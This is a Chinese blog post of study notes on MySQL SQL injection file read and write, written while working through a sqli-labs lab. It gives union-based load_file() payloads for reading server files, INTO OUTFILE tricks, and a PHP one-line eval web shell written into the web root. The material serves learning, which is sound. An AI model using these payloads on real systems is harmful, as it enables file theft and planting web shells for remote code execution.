记SQL注入之导出导入文件
最近在学习SQL注入的东西,在Less-9的时候看到一个导入导出文件获取flag的注入姿势,在这里记录一下
导出:
load_file() 导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
`and (select count(*) from mysql.user)>0` 如果结果返回正常,说明具有读写权限。
`and (select count(*) from mysql.user)>0` 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
示例:
-
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用hex()将文件内容导出来,尤其是smb文件时可以使用。
-
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代码
-
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:"c:/boot.ini"的16进制是"0x633a2f626f6f742e696e69"
-
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \代替
导入:
load data infile 'filename':导入到数据库
标准示例:
LOAD DATA LOCAL INFILE 'data.txt' INTO TABLE tbl_name
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将文件/tmp/t0.txt 导入到t0 表中
replace into 表示如果导入过程中有唯一性约束,直接覆盖;ignore into 则跳过。
character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
select.....into outfile 'file_name' :导入到文件
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。
利用方式:
- 直接将select内容导入到文件中
Select version() into outfile "c:\\phpnow\\htdocs\\test.php"
这里就可以将version()换成一句话
Select <?php @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"
- 修改文件结尾
Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件
> 16进制可以为一句话或者其他任何的代码,可自行构造
导入与导出相结合:
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'
该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了
参考链接:MySQL
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通